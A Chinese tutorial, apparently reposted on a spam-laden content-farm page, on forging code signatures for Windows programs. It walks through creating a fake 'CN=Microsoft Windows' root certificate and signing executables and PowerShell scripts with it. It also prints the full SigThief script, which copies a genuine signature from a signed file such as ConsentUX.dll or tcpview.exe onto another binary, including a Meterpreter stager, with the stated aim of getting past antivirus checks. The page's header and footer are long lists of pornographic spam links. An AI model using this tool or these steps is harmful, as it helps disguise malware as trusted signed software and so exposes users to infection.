久久福利_99r_国产日韩在线视频_直接看av的网站_中文欧美日韩_久久一

您的位置:首頁技術文章
文章詳情頁

Python使用sigthief簽發證書的實現步驟

瀏覽:140日期:2022-06-16 08:39:45
目錄制作并簽發證書:偽造PE文件證書:

證書制作工具下載: https://github.com/3gstudent/signtools

制作并簽發證書:

正常情況下,針對exe簽發證書有如下幾個步驟.

1.查詢一個程序中存在的證書,可以使用下面三個命令。

c:> signtools Get-AuthenticodeSignature C:WindowsSystem32ConsentUX.dllc:> signtools signtool.exe verify /v C:WindowsSystem32ConsentUX.dllc:> signtools sigcheck.exe -q C:WindowsSystem32ConsentUX.dll

2.使用makecert命令制作證書,sv-私鑰文件名,ss-主題的證書存儲名稱,n-證書頒發對象,r-證書存儲位置。

c:> signtools makecert -n 'CN=Microsoft Windows' -r -sv Root.pvk Root.cerc:> signtools cert2spc Root.cer Root.spcc:> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注冊證書與簽發證書。

c:> signtools certmgr.exe -add -c Root.cer -s -r localmachine rootc:> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要給PowerShell腳本添加證書,則執行如下命令即可.

1.生成證書文件

c:> makecert -n 'CN=Microsoft Windows' -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cerc:> cert2spc certtest.cer certtest.spcc:> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.給powershell腳本簽名

c:> powershellc:> $cert = Get-PfxCertificate certtest.pfxc:> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert偽造PE文件證書:

有些反病毒軟件供應商優先考慮某些證書頒發機構而不檢查簽名是否真正有效,并且有一些只是檢查以查看certTable是否填充了某些值。這個工具讓你快速將從已簽名的PE文件中刪除簽名并將其附加到另一個文件,修復證書表以對文件進行簽名。

開源工具SigThief可用于偽造證書,將下方代碼保存為sigthief.py即可:

import sysimport structimport shutilimport iofrom optparse import OptionParserdef gather_file_info_win(binary):'''Borrowed from BDF...I could just skip to certLOC... *shrug*'''flItms = {}binary = open(binary, ’rb’)binary.seek(int(’3C’, 16))flItms[’buffer’] = 0flItms[’JMPtoCodeAddress’] = 0flItms[’dis_frm_pehdrs_sectble’] = 248flItms[’pe_header_location’] = struct.unpack(’<i’, binary.read(4))[0]# Start of COFFflItms[’COFF_Start’] = flItms[’pe_header_location’] + 4binary.seek(flItms[’COFF_Start’])flItms[’MachineType’] = struct.unpack(’<H’, binary.read(2))[0]binary.seek(flItms[’COFF_Start’] + 2, 0)flItms[’NumberOfSections’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’TimeDateStamp’] = struct.unpack(’<I’, binary.read(4))[0]binary.seek(flItms[’COFF_Start’] + 16, 0)flItms[’SizeOfOptionalHeader’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’Characteristics’] = struct.unpack(’<H’, binary.read(2))[0]#End of COFFflItms[’OptionalHeader_start’] = flItms[’COFF_Start’] + 20#if flItms[’SizeOfOptionalHeader’]: #Begin Standard Fields section of Optional Headerbinary.seek(flItms[’OptionalHeader_start’])flItms[’Magic’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorLinkerVersion’] = struct.unpack('!B', binary.read(1))[0]flItms[’MinorLinkerVersion’] = struct.unpack('!B', binary.read(1))[0]flItms[’SizeOfCode’] = struct.unpack('<I', binary.read(4))[0]flItms[’SizeOfInitializedData’] = struct.unpack('<I', binary.read(4))[0]flItms[’SizeOfUninitializedData’] = struct.unpack('<I', binary.read(4))[0]flItms[’AddressOfEntryPoint’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’PatchLocation’] = flItms[’AddressOfEntryPoint’]flItms[’BaseOfCode’] = struct.unpack(’<I’, binary.read(4))[0]if flItms[’Magic’] != 0x20B: flItms[’BaseOfData’] = struct.unpack(’<I’, binary.read(4))[0]# End Standard Fields section of Optional Header# Begin Windows-Specific Fields of Optional Headerif flItms[’Magic’] == 0x20B: flItms[’ImageBase’] = struct.unpack(’<Q’, binary.read(8))[0]else: flItms[’ImageBase’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SectionAlignment’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’FileAlignment’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’MajorOperatingSystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorOperatingSystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorImageVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorImageVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorSubsystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorSubsystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’Win32VersionValue’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SizeOfImageLoc’] = binary.tell()flItms[’SizeOfImage’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SizeOfHeaders’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’CheckSum’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’Subsystem’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’DllCharacteristics’] = struct.unpack(’<H’, binary.read(2))[0]if flItms[’Magic’] == 0x20B: flItms[’SizeOfStackReserve’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfStackCommit’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfHeapReserve’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfHeapCommit’] = struct.unpack(’<Q’, binary.read(8))[0]else: flItms[’SizeOfStackReserve’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfStackCommit’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfHeapReserve’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfHeapCommit’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’LoaderFlags’] = struct.unpack(’<I’, binary.read(4))[0] # zeroflItms[’NumberofRvaAndSizes’] = struct.unpack(’<I’, binary.read(4))[0]# End Windows-Specific Fields of Optional Header# Begin Data Directories of Optional HeaderflItms[’ExportTableRVA’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ExportTableSize’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ImportTableLOCInPEOptHdrs’] = binary.tell()#ImportTable SIZE|LOCflItms[’ImportTableRVA’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ImportTableSize’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ResourceTable’] = struct.unpack(’<Q’, binary.read(8))[0]flItms[’ExceptionTable’] = struct.unpack(’<Q’, binary.read(8))[0]flItms[’CertTableLOC’] = binary.tell()flItms[’CertLOC’] = struct.unpack('<I', binary.read(4))[0]flItms[’CertSize’] = struct.unpack('<I', binary.read(4))[0]binary.close()return flItmsdef copyCert(exe): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Input file Not signed!')sys.exit(-1) with open(exe, ’rb’) as f:f.seek(flItms[’CertLOC’], 0)cert = f.read(flItms[’CertSize’]) return certdef writeCert(cert, exe, output): flItms = gather_file_info_win(exe)if not output: output = output = str(exe) + '_signed' shutil.copy2(exe, output)print('Output file: {0}'.format(output)) with open(exe, ’rb’) as g:with open(output, ’wb’) as f: f.write(g.read()) f.seek(0) f.seek(flItms[’CertTableLOC’], 0) f.write(struct.pack('<I', len(open(exe, ’rb’).read()))) f.write(struct.pack('<I', len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print('Signature appended. nFIN.')def outputCert(exe, output): cert = copyCert(exe) if not output:output = str(exe) + '_sig' print('Output file: {0}'.format(output)) open(output, ’wb’).write(cert) print('Signature ripped. nFIN.')def check_sig(exe): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Inputfile Not signed!') else:print('Inputfile is signed!')def truncate(exe, output): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Inputfile Not signed!')sys.exit(-1) else:print( 'Inputfile is signed!') if not output:output = str(exe) + '_nosig' print('Output file: {0}'.format(output)) shutil.copy2(exe, output) with open(output, 'r+b') as binary:print(’Overwriting certificate table pointer and truncating binary’)binary.seek(-flItms[’CertSize’], io.SEEK_END)binary.truncate()binary.seek(flItms[’CertTableLOC’], 0)binary.write(b'x00x00x00x00x00x00x00x00') print('Signature removed. nFIN.')def signfile(exe, sigfile, output): flItms = gather_file_info_win(exe)cert = open(sigfile, ’rb’).read() if not output: output = output = str(exe) + '_signed' shutil.copy2(exe, output)print('Output file: {0}'.format(output))with open(exe, ’rb’) as g:with open(output, ’wb’) as f: f.write(g.read()) f.seek(0) f.seek(flItms[’CertTableLOC’], 0) f.write(struct.pack('<I', len(open(exe, ’rb’).read()))) f.write(struct.pack('<I', len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print('Signature appended. nFIN.')if __name__ == '__main__': usage = ’usage: %prog [options]’ parser = OptionParser() parser.add_option('-i', '--file', dest='inputfile', help='input file', metavar='FILE') parser.add_option(’-r’, ’--rip’, dest=’ripsig’, action=’store_true’, help=’rip signature off inputfile’) parser.add_option(’-a’, ’--add’, dest=’addsig’, action=’store_true’, help=’add signautre to targetfile’) parser.add_option(’-o’, ’--output’, dest=’outputfile’, help=’output file’) parser.add_option(’-s’, ’--sig’, dest=’sigfile’, help=’binary signature from disk’) parser.add_option(’-t’, ’--target’, dest=’targetfile’, help=’file to append signature to’) parser.add_option(’-c’, ’--checksig’, dest=’checksig’, action=’store_true’, help=’file to check if signed; does not verify signature’) parser.add_option(’-T’, ’--truncate’, dest='truncate', action=’store_true’, help=’truncate signature (i.e. remove sig)’) (options, args) = parser.parse_args()# rip signature # inputfile and rip to outputfile if options.inputfile and options.ripsig:print('Ripping signature to file!')outputCert(options.inputfile, options.outputfile)sys.exit()# copy from one to another # inputfile and rip to targetfile to outputfileif options.inputfile and options.targetfile:cert = copyCert(options.inputfile)writeCert(cert, options.targetfile, options.outputfile)sys.exit() # check signature # inputfile if options.inputfile and options.checksig:check_sig(options.inputfile) sys.exit() # add sig to target file if options.targetfile and options.sigfile:signfile(options.targetfile, options.sigfile, options.outputfile)sys.exit() # truncate if options.inputfile and options.truncate:truncate(options.inputfile, options.outputfile)sys.exit() parser.print_help() parser.error('You must do something!')

我們需要找一個帶有證書的文件,然后通過使用sigthief.py完成證書的克隆。此處就拿系統中的ConsentUX.dll演示。

c:> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exeOutput file: check.exeSignature appended.FIN.

也可以從二進制文件中獲取簽名并將其添加到另一個二進制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe Output file: /tmp/msftesting_tcpview.exeSignature appended. FIN.

將簽名保存到磁盤以供以后使用,提供了一個轉存功能。

$ ./sigthief.py -i tcpview.exe -r Ripping signature to file!Output file: tcpview.exe_sigSignature ripped. FIN.```BASH使用翻錄簽名```BASH$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe Output file: x86_meterpreter_stager.exe_signedSignature appended. FIN.```BASH截斷(刪除)簽名 這實際上有非常有趣的結果,可以幫助您找到重視代碼功能簽名的AV)```BASH$ ./sigthief.py -i tcpview.exe -T Inputfile is signed!Output file: tcpview.exe_nosigOverwriting certificate table pointer and truncating binarySignature removed. FIN.

文章出處:https://www.cnblogs.com/lyshark

以上就是Python使用sigthief簽發證書的實現步驟的詳細內容,更多關于Python使用sigthief簽發證書的資料請關注好吧啦網其它相關文章!

標簽: Python 編程
相關文章:
主站蜘蛛池模板: 91av官网| 亚洲美女精品视频 | 久久99深爱久久99精品 | 久久这里精品 | 99中文视频| 亚洲高清av | 一区二区三区成人 | 33eee在线视频免费观看 | 国产高清免费 | 中文字幕亚洲视频 | 国产欧美精品一区二区三区四区 | 国产成人在线一区二区 | 日韩一二三区视频 | 欧美精品一区二区三区蜜桃视频 | 91成人在线免费视频 | 国产一区二区久久久 | 亚洲毛片网站 | av中文在线 | 国产97色在线 | 亚洲 | 国产精品久久久久久久久小说 | 蜜桃av中文字幕 | 久久国产精品久久久久久电车 | 天天干夜操 | 日韩免费视频中文字幕 | 亚洲一区二区三 | 国产在线乱 | 欧美在线一区二区三区 | 日韩国产一区 | 国产精品久久精品 | 一级黄色短片 | 亚洲午夜av | 日韩专区在线 | 亚洲国产精品综合久久久 | 亚洲成人动漫在线观看 | 欧美色爽 | 欧美成人一区二区三区片免费 | 亚洲成av人片一区二区梦乃 | 精品国产乱码久久久久久久 | 国产精品第一区 | 成人日韩av | 日韩在线视频中文字幕 | 亚洲区在线 | 国产精品伦理一区 | 99热婷婷 | 久久综合亚洲 | 成人高清 | 一道本视频 | 国产精品成人国产乱一区 | 国产高清在线精品一区二区三区 | 亚洲国产欧美在线 | 一级久久久久 | 日韩免费视频 | 久久99精品久久久久久园产越南 | 天堂精品一区二区三区 | 后人极品翘臀美女在线播放 | 男人久久天堂 | 日韩高清在线 | 亚洲伊人久久综合 | 亚洲一区高清 | 欧美成人h版在线观看 | 91资源在线 | 最新av在线网址 | 四影虎影ww4hu55.com | 欧美中文在线 | 热99这里只有精品 | av一级毛片 | 午夜精品一区 | 午夜影院普通用户体验区 | 精品一区二区三区免费 | 在线视频亚洲 | 日韩精品视频网 | 国产福利在线观看视频 | 亚洲精品粉嫩美女一区 | 久久黄色片 | 日本精品一区二区三区视频 | 欧洲另类二三四区 | 99精品不卡 | 久草 在线| 久久精品欧美 | 国产精品视频久久久 | 国产精品久久久久久一区二区三区 | 99视频这里有精品 | 国产精品久久久久久久久久久久久久 | 免费亚洲视频 | 色欧美片视频在线观看 | 国产午夜视频 | 国产免费中文字幕 | 国产成人久久精品77777 | 最新超碰 | 伊人二区| 日韩免费视频一区二区 | www.888www看片| 亚洲精品视频在线免费播放 | 成人一区二区在线 | 91久久精品 | 久久综合入口 | 91视频在线看 | а天堂中文最新一区二区三区 | 亚洲一区中文字幕在线观看 | 久久免费视频网 | 欧美日韩一区二区在线 | 欧美国产一区二区 | 欧美综合久久 | 一区二区三区精品视频 | 国产精品资源在线 | 久久久久亚洲精品 | 亚洲专区中文字幕 | 国产在线观 | 久草视频免费看 | 冷水浴在线观看 | 亚洲成人动漫在线观看 | 精品一区av | 亚洲一区二区三区四区五区午夜 | 国产视频一区二区三区四区 | 午夜午夜精品一区二区三区文 | 日韩在线成人 | 国产精品久久久久久久久久免费看 | 激情在线观看视频 | 91精品一区 | 亚洲国产高清视频 | 超碰8 | 午夜精品久久久久久99热软件 | 日本五月婷婷 | 日视频 | 国产高清一区二区三区 | 久久精品国产精品 | 欧美成年视频 | 国产精品国产三级国产aⅴ入口 | 亚洲欧美一区二区精品中文字幕 | 中文无码久久精品 | 久久免费看 | 精品久久久久久国产 | 成人性视频免费网站 | 欧美国产一区二区 | 精品日韩中文字幕 | 成人国产 | 国产精品国产精品国产专区不片 | 久久久久久久久一区二区三区 | 亚洲精品网址 | 中文字幕一页二页 | 婷色综合| 中文在线一区二区 | 精品久| 九九久久国产 | 曰本人一级毛片免费完整视频 | 久久国产欧美日韩精品 | 亚洲精品中文视频 | 亚洲欧美日韩在线一区二区 | 91精品国产乱码久久久久久 | 国产视频精品在线观看 | 日韩成人在线观看 | 欧美性网 | 国产一级免费视频 | hitomi一区二区三区精品 | 97久久精品人人做人人爽50路 | 99久久日韩精品视频免费在线观看 | 日韩一区在线视频 | 欧美中文字幕在线观看 | www.国产精品| 亚洲综合无码一区二区 | 成人福利影院 | 国产精品高潮呻吟久久av野狼 | 91视频原创 | 99热在线精品免费 | 精品久 | 国产毛片aaa | 99久久婷婷国产综合精品电影 | 亚洲人成人一区二区在线观看 | 国产欧美一区二区视频 | av一区二区在线观看 | 国产欧美精品一区二区三区四区 | 亚洲欧美一区二区三区在线 | 韩日一区二区 | aaaa网站 | 久久精品国产精品 | 亚洲自啪 | 好看的一级毛片 | 色偷偷噜噜噜亚洲男人 | 久久高清亚洲 | 精品久久久久久久久久久久久久久 | 久久精品国产99国产 | 国产美女久久 | 91精品国产一区二区三区蜜臀 | 欧美精品一区二区三区免费视频 | 99国产视频| 国产精品久久久久久久久大全 | 蜜桃免费视频 | 在线视频亚洲 | 国产福利在线视频 | 日韩在线观看一区二区 | 狠狠的干 | 成人小视频在线观看 | 91在线免费看 | 在线中文一区 | 亚洲综合视频 | 亚洲综合色视频在线观看 | 日本三级全黄 | 久草新视频在线观看 | 日韩欧美精品一区二区三区 | 亚洲a网| 伊人久久一区二区三区 | 九色视频网站 | 一区二区三区精品 | 日韩欧美国产精品综合嫩v 国产高清av在线一区二区三区 | 一区二区精品在线 | 成人精品网站在线观看 | 成人精品久久久 | 精品九九 | 求av网站| 黄色a视频 | 亚洲欧美日韩系列 | 国产欧美精品一区二区色综合朱莉 | 99re6在线| 精品国产一区二区三区性色av | 久久成人一区 | 国产精品视频一区二区三区 | jlzzjlzz亚洲日本少妇 | 天天操天天操 | 免费一区二区 | 红桃av一区二区 | 国产精品久久久久国产a级 欧美日本韩国一区二区 | 一级全黄少妇性色生活片免费 | 欧洲一区二区三区 | 欧美日韩一区二区不卡 | 久久久久一区二区三区 | 在线成人www免费观看视频 | www.麻豆av| 久久国产婷婷国产香蕉 | av网站观看 | 五月天婷婷免费视频 | 日本毛片视频 | 欧美一区国产一区 | 精品国产一区二区 | 免费一二区 | av大片在线观看 | 青青草久草 | 国产精品国产精品国产专区不卡 | 中文字幕日韩欧美 | www国产在线观看 | 女人夜夜春高潮爽av片 | 国产精品无码永久免费888 | 天天干夜夜操 | 成人免费在线视频观看 | 国产一区二区免费 | 欧美精品一区视频 | 中文字幕一区二区三区乱码图片 | 在线看h | 国产一区二区久久久 | 日日夜夜一区二区 | 老司机福利在线视频 | 欧美精品一区二区三区一线天视频 | 亚洲区在线 | 国产日韩欧美视频 | 婷婷91| 一区二区三区精品 | 中文字幕视频免费观看 | 国产免费av大片 | 中文字幕精品视频在线观看 | 日韩精品av一区二区三区 | 免费观看av毛片 | 亚洲91精品 | 成人高清视频在线观看 | 国产精品一二区 | 欧美成人a | av毛片 | 亚洲欧美福利视频 | 天天操天天色天天 | 国产精品亚洲综合 | 国产精彩视频 | 亚洲一区不卡在线 | 成人av观看 | 99精品视频一区二区三区 | 久久久久久亚洲精品 | 99精品网站| 亚洲成人免费观看 | 免费观看黄色大片 | 激情综合色综合久久综合 | 一区二区三区小视频 | 91麻豆精品国产91久久久资源速度 | 免费日本视频 | 精品国产不卡一区二区三区 | 亚洲精品久久久久久久久久久 | 成人免费crm一区二区 | 国产高清精品在线 | 国产精品久久久久一区二区三区共 | 欧美激情视频一区二区三区在线播放 | 亚洲第一黄色 | 欧洲精品在线视频 | 国产精品亚洲区 | 中文字幕av第一页 | 亚洲综合一区二区 | 中文字幕一区二区三区日韩精品 | 亚洲国产精品久久久久秋霞蜜臀 | 欧美色欧美亚洲另类七区 | 成人欧美一区二区三区在线播放 | 欧美性v| 成人夜晚看av | 国产女人爽到高潮免费视频 | 色综合久久久久 | 99色综合| 91久久国产 | 日韩精品一区二区三区中文在线 | 日本在线观看一区 | 91久久久久久久久久久久久久久久 | 色婷婷久久 | 夜夜操导航| 国产伦精品一区二区三区高清 | 国产一级大片 | 亚洲二区在线 | 九九视频在线 | 国产高清精品一区二区三区 | 一区二区三区播放 | 黄色大片在线 | 日韩一区二区在线播放 | 国产精品久久一区 | 精品国产一区三区 | 久草成人 | 日韩在线视频观看 | 日韩国伦理久久一区 | 久久久精品 | 日韩成人在线一区 | 成人高清网站 | 欧美一级内谢 | 亚洲国产精品99久久久久久久久 | 亚洲精品久久久久久久久久久 | h成人在线 | 亚洲欧美日韩电影 | 99视频免费在线观看 | 亚洲成人一区二区三区 | 亚洲国产视频一区 | 99re在线视频精品 | 日韩性色视频 | 影视一区二区 | 日韩欧美~中文字幕 | 黄色毛片在线看 | 国产91久久精品一区二区 | 欧美日韩视频一区二区 | 国产成人精品一区二区三区视频 | 91精品国产色综合久久不卡98口 | 国产高清网站 | www..99re| 亚洲一区二区精品视频 | 欧美日韩不卡在线 | 一区影院 | 精品在线视频观看 | 日韩精品久久 | 欧美日韩精品一区二区 | 亚洲视频一区在线 | 久久99精品久久久 | 午夜电影网址 | 亚洲视频在线观看免费 | www.91av在线 | 亚洲精品四区 | 91亚洲精品视频 | 国产精品久久久久久久久久妇女 | 黄色影视网址 | 亚洲一区二区视频在线观看 | 欧美日韩激情一区二区三区 | 久久精品性视频 | 99在线精品视频 | 成人毛片在线观看 | 久久综合一区 | 日韩中文视频 | 国产精品久久久久国产a级 99精品欧美一区二区三区综合在线 | 日韩一区二区在线观看 | 欧美精品一区在线 | 91网在线播放 | 午夜精品久久久久久久久久久久久 | 涩涩操 | 欧美日韩一级在线观看 | 亚洲综合福利视频 | 三级国产网站 | 热久久这里只有精品 | 久久久久久久久久久久网站 | 99热在线精品播放 | 97超碰免费 | 久久天堂网 | 亚洲欧洲一区二区 | 黄色在线免费观看 | 久久综合中文字幕 | 在线99 | 亚洲区在线 | 在线观看日韩av | 亚洲综合精品视频 | 成年人在线视频播放 | 亚洲大尺度视频 | 日韩国产一区二区三区 | 国产精品亚洲精品日韩已方 | 欧美一区2区三区4区公司二百 | 精品视频一区二区 | 亚洲一区二区三区免费在线观看 | 午夜日韩| 免费观看欧美一级 | 国产精品999 | 亚洲欧美综合精品久久成人 | 日韩福利一区 | 久久国产精品一区二区三区 | 国产日韩精品一区二区在线观看播放 | 久久99国产精品久久99大师 | 97国产一区二区精品久久呦 | 日韩欧美在线免费观看 | 亚洲精品在线视频 | 国产成人av电影 | 日本五月婷婷 | 午夜在线| 亚洲国产精品一区 | 中文日韩在线 | 伊人网视频在线 | 欧美一区二区三区免费观看视频 | 久久久久久久久久久久99 | 精品久久久久香蕉网 | 国产又粗又长又硬又猛电影 | 亚洲tv久久爽久久爽 | 国产精品夜夜 | 色婷网| 91极品国产| 99亚洲视频| 亚洲欧美中文日韩在线v日本 | 国产美女在线播放 | 自拍偷拍视频网 | 欧美天天 | 日本在线观看视频一区 | 国产一区二区精品在线观看 | 亚洲美女精品视频 | 欧美日韩精品久久久 | 久久久久久香蕉 | 国产精品免费观看 | 免费国产视频在线观看 | 久久久久免费精品视频 | 成人免费crm在线观看 | 国产特级毛片 | 91久久| 五月激情综合 | 黄色大片免费网址 | 国产精品久久久久久福利一牛影视 | va在线 | 欧美一区二区三区视频 | 欧美一级毛片免费看 | 国产亚洲精品成人av久久影院 | 亚洲热妇| 天天干天天操天天干 | 日本免费不卡 | 亚洲成年人网站在线观看 | 午夜影视免费观看 | 亚洲美乳中文字幕 | 国产精品久久久久久久免费大片 | 一区二区三区成人 | 欧美日韩一区在线观看 | 国产成人av网站 | 午夜免费在线 | 538在线精品| 97理论片 | 狠狠ri| 91精品国产一区二区三区蜜臀 | 精品影院| 国产精品日韩欧美一区二区三区 | 欧美日韩精品久久久 | 亚洲在线播放 | 欧美性视频网站 | 9久久 | 国产视频三区 | 亚洲精品一区二三区不卡 | 国产精品乱码一二三区的特点 | 在线观看欧美一区 | 国产91视频一区二区 | 综合 欧美 亚洲日本 | 91在线视频免费观看 | 久久福利 | 大陆一级毛片免费视频观看 | 国产成人精品久久二区二区 | 精品一区二区在线观看 | 国产精品欧美久久久久一区二区 | 久久精品亚洲一区二区 | 国产区区 | 欧美国产伦久久久久久 | 一区二区三区国产 | 久久99精品久久久久久琪琪 | 99免费在线播放99久久免费 | 久久伊人精品网 | 欧美一区二区三区 | 亚洲视频免费在线 | 国产高清免费 | 欧美一区在线看 | 国产一区二区三区免费 | 久久久精品一区 | 高清av网站 | 久久成人精品 | 天天天干天天射天天天操 | 久久久精彩视频 | 国产人成免费视频 | 97视频免费在线观看 | 日韩草比 | 久久久久久国产 | 黄色a级 | 国产精品久久久久久久午夜片 | 可以在线观看的av网站 | 久久精品欧美一区二区三区不卡 | 91在线视频一区 | 超碰人人爱| 亚洲国产精品成人 | 99re在线视频| 国外成人在线视频 | 亚洲福利av | 91社区影院| 久久伊人草 | 亚洲国产精品一区 | 美女视频一区二区三区 | 成年人视频在线免费观看 | 欧美一区久久 | 欧美日韩一区不卡 | 亚洲区在线 | 蜜桃视频一区二区三区 | 在线中文字幕av | 国产高清在线精品一区二区三区 | 精品一区二区久久久久久久网站 | 亚洲精品午夜国产va久久成人 | 成人看的免费视频 | 91在线视频观看 | 黄网站免费在线观看 | 狠狠干狠狠操 | 日本久久国产 | 91午夜在线 | 丁香婷婷综合激情五月色 | 亚洲日韩中文字幕一区 | 中文字幕一区二区在线观看 | 成人福利在线 | 国产成人精品一区二区三区四区 | av在线一区二区三区 | 成人a网 | 国产精品成人一区二区三区夜夜夜 | 日韩在线永久免费播放 | 欧美一级h| 亚洲精品一区在线观看 | 久久久久久麻豆 | 欧洲一级视频 | 国产一区二区三区在线 | av一级毛片 | 中文字幕久久精品 | 九九免费视频 | 中文字幕在线观看 | 国产成人久久 | 欧美精品一区二区三区手机在线 | v888av成人 | 亚洲伦理一区 | 久草中文在线 | 国产在线区| 国产精品免费在线 | 国产精品久久久久久一区二区三区 | 中文字幕成人网 | 久久久久久久久久久久91 | 一区日韩| 狠狠综合久久av一区二区小说 | 日韩中文字幕在线观看 | 欧美一区二区在线免费观看 | 国产三级在线免费观看 | 少妇一级淫片免费放 | 一区二区av | 精品国产91亚洲一区二区三区www | 成人在线小视频 | 欧美国产日韩一区 | 欧美亚洲一区二区三区 | 国产一区二区成人 | 精品99久久久久久 | www.久久久 | 午夜精品一区二区三区在线视频 | 久久免费视频在线 | 五月婷婷色| 国内精品视频一区二区三区八戒 | 日日精品| 国产美女啪啪 | 天天干夜操| 国产精品一区二区三区免费 | 国产伦精品一区二区三区照片91 | 欧美大片一区 | 国产一区二区三区四 | 亚洲蜜臀av乱码久久精品蜜桃 | 午夜精品一区二区三区在线播放 | 欧美区亚洲区 | 久久久久久久久久久久99 | 日韩激情网 | 欧美激情首页 | 国产一区二区电影 | 日韩天堂 | 国产综合精品一区二区三区 | 欧美日韩精品一区二区 | 国产成人亚洲精品 | 91在线免费视频 | 欧美日韩一级在线观看 | 亚洲视频精品一区 | 天天精品 | 成人伊人网 | 国产精品久久综合 | 国产中文一区二区三区 | h免费在线观看 | 久久成人精品 | 国产精品污www在线观看 | 久久xxx | 欧美日韩精品一区二区三区 | 日韩精品一区二区三区视频播放 | 亚洲第一网站 | 久久99精品国产99久久6尤 | 国产成人精品一区二区三区四区 | 成人精品一区二区 | 欧美成人精品一区 | 久久国产精品一区二区 | 在线成人av | 亚洲国产一区在线 | 一区二区三区国产视频 | 国产乱码精品一品二品 | 精品成人佐山爱一区二区 | 亚洲成av人片在线观看 | 可以在线观看的黄色 | 欧美成在线观看 | 欧美日韩一区二区在线 | 国产99精品视频 |